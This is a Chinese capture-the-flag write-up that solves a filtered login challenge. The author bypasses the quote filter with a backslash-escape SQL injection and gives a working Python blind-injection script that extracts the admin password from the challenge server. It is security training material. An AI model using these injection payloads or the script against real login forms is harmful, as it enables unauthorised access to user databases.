![](https://img-blog.csdnimg.cn/img_convert/8feb1fe5f09e307ae52b283d93bb519f.png)
打开题目是一个登录界面,尝试弱密码和万能密码但都不行(有很多过滤)。所以用爆破的方式看看都过滤了哪些字符。
![](https://img-blog.csdnimg.cn/img_convert/10c0bfef70211183a1f433819a48b52f.png)
使用burp抓包对用户名(或密码)进行爆破,发现用来闭合语句的单引号/双引号都被过滤了。那这里就没法用常规套路注入。此时就需要找其他方式,扫目录发现存在/robots.txt文件,里面显示还有一个/hint.txt文件。
![](https://img-blog.csdnimg.cn/img_convert/5cb6ea244ed0a72f1d49378dbf5442fc.png)
hint.txt里面有一句sql语句,假设我们输入用户名:admin,密码:666,那么这个sql查询语句就会变成
select * from users where username='admin' and password='666';
此时由于单引号被过滤,但转义符”\“没有被过滤,”\“可以让原本的特殊字符失去功能变成纯文本,在编程语言中要想打印单引号就要在单引号前加上转义符”\“使其失去特殊含义。在这个sql语句中也可以通过”\“来让其中的单引号失去作用,从而创造出可注入的点。
select * from users where username='admin\' and password='666';
这里在admin后面加上一个'\'这样让admin后面的单引号失效,而admin前面的单引号就会自动找到666
前面的单引号配对,此时username的值就变成了"admin' and password="然后再在666后加上#把最后
的单引号注释掉,这样'666'就成为可以执行恶意语句的地方,构造恶意语句:
select * from users where username='admin\' and password='or 1 < 2#';
所以在登录界面输入用户名:admin\ 密码:or 1<2#
![](https://img-blog.csdnimg.cn/img_convert/074738ce147fe3fb8d4cff8385750d3a.png)
此时页面回显变化说明注入成功了,但是由于"select"被过滤了,页面也只有两种回显,那么就只能进行盲注了。在hint.txt里面得知我们的目标是得到正确的password就能拿到flag,从sql语句中看出此时的操作就是在users表里面进行的,而我们要的列名就是password。所以可以编写python脚本进行盲注。
import requests
session = requests.Session()
def getPassword():
password = ''
for i in range(100):
begin = 32
end = 128
mid = (begin + end) // 2
while begin < end:
payload = "or ascii(substr((password),%d,1)) > %d #" % (i, mid)
paramPost = {"username":"admin\\","password":payload}
response = session.post("http://123.60.47.130:23333/index.php",
data = paramPost)
if 'stronger' in response.text:
begin = mid + 1
mid = (begin + end) // 2
else:
end = mid
mid = (begin + end) // 2
password += chr(mid)
print(password)
getPassword()
运行该脚本就可以得到password:OhyOuFOuNdit,而用户名就是admin。登录即可得到flag
![](https://img-blog.csdnimg.cn/img_convert/cb1a827163181b2d58102caf1ec434ba.png)